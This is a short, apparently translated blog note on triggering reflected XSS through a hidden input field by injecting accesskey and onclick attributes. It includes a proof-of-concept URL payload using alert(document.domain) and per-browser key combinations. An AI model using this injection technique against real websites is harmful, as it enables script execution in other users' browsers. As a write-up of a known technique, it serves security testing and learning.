The trigger method of XSS in the input tag of the Hidden attribute

I saw an XSS vulnerability today. The insertion point is in a tag with the hiddenattribute . The inputgeneral situation is as follows:

<input type="hidden" name="returnurl" value="[USER INJECT]" />

The normal XSS should be:

http://victim/?value=” onclick=”alert(document.domain)

But here because this inputis not displayed on the page, the commonly used onclickmethod cannot be used (how to trigger onclick if you can't click on this tag...), but there is also a fun attribute in the browser called accesskeyso construct:

<input type="hidden" name="returnurl" value="" accesskey="X" onclick="alert(document.domain)" />

The PoC is:

http://victim/?returnurl=” accesskey=”X” onclick=”alert(document.domain)

Different browsers have different triggering methods. The following is the summary of w3school :

So the above XSS triggering method is:
FF: shift+alt+X (successful test)
Chrome: alt+X (the latest version of Chrome has not tested successfully)
IE: alt+X (untested success)